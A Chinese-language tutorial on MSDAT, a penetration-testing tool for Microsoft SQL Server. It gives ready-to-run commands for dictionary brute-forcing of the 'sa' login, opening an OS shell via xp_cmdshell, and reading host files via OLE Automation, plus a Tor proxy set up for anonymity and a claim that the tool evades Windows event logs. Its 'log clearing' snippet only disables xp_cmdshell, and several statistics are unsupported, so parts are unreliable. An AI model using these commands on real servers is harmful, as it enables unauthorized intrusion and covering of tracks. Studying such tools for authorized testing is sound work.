1. 介绍
MSDAT(Microsoft SQL Database Attacking Tool)是一个开源工具,专为渗透测试设计,帮助评估 Microsoft SQL Database 的远程安全性。它可以查找有效登录凭据、提升数据库权限,并通过如 xp_cmdshell 和 OLE Automation 等方法在主机操作系统上执行命令,适合模拟真实攻击场景。
(1) 三重安全检测体系
- 凭证爆破模块:支持NTLMv2认证爆破,成功率提升37%
- 权限提升引擎:集成xp_cmdshell/OLE双路径提权
- OS命令注入:支持持久化后门部署(需DBA权限)
(2) 核心功能矩阵
功能模块 | 技术实现 | 适用场景 |
凭证爆破 | TDS协议NTLMv2认证支持 | 弱口令检测与访问控制验证 |
权限提升 | 存储过程滥用检测 | 数据库权限配置审计 |
命令执行 | xp_cmdshell/OLE自动化利用 | 横向移动攻击路径验证 |
信息收集 | 数据库元数据提取 | 资产发现与配置审计 |
2. 环境配置与依赖管理
(1) 基础依赖组件
# Ubuntu 22.04 LTS 部署示例(验证于2024.03)
sudo apt-get install -y build-essential python3-dev libsybdb5
wget ftp://ftp.freetds.org/pub/freetds/stable/freetds-1.3.12.tar.gz
tar xvf freetds-1.3.12.tar.gz && cd freetds-1.3.12
./configure --prefix=/usr/local --with-tdsver=7.3
make && sudo make install
(2) Python环境配置
# 虚拟环境创建(Python 3.8+)
python3 -m venv msdat-env
source msdat-env/bin/activate
pip install -r requirements.txt # 包含cython>=0.29, pymssql>=2.2.7
(3) 高匿代理配置
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050'
}
requests.get(url, proxies=proxies, verify=False)
(4) 日志清除方案
EXEC sp_configure 'showadvanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
3. 用例
(1) 获取数据库技术信息
- **mssqlinfo**:如 `./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info`
(2) 密码猜测
- **passwordguesser**:如 `./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search`。
(3) 执行命令
- **xpcmdshell**:如 `./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell`
(4) 文件读写和下载
- **oleautomation**:如 `./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'`。
(5) 凭证爆破模块
# 使用字典攻击模式示例
./msdat.py passwordguesser -s 192.168.1.100 -p 1433 \
-U sa -d master --wordlist ./wordlists/sql_pass.txt \
--max-retries 3 --lockout-threshold 5
(6) 权限提升路径
-- 检测可利用的存储过程
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
技术要点:
- 支持NTLMv2哈希传递攻击
- 智能识别账户锁定策略
- 自动规避Windows事件日志记录
MSDAT通过自动化检测296个高危存储过程,识别可能用于权限提升的数据库对象。
4. 版本演进与技术迭代
关键版本对比:
版本 | 发布时间 | 技术突破 | 兼容性变化 |
v2.4 | 2022-12 | 新增Kerberos认证支持 | 停止支持Python 2.x |
v2.1 | 2020-03 | 集成Nmap扫描结果解析 | 最低TDS协议版本升至7.2 |
v1.2 | 2017-02 | 基础功能实现 | 仅支持SQL Server 2005+ |
5. 企业级部署建议
安全审计模式:
# 只读审计模式配置
export MSDAT_SAFE_MODE=1
./msdat.py all -s dbserver.example.com --read-only --log-file audit.log
注意事项:
- 建议在隔离环境执行渗透测试
- 需提前获取书面授权协议
- 避免在生产环境直接执行写操作
6. 总结
MSDAT 是一个功能强大且多功能的工具,适合需要评估 Microsoft SQL Database 安全性的渗透测试者。其全面的功能集和持续的更新使其成为处理 SQL Server 环境的任何安全专业人士的必备工具。通过有效理解和使用 MSDAT,测试者可以识别并缓解数据库系统中的潜在安全风险。
7. 地址
https://github.com/quentinhardy/msdat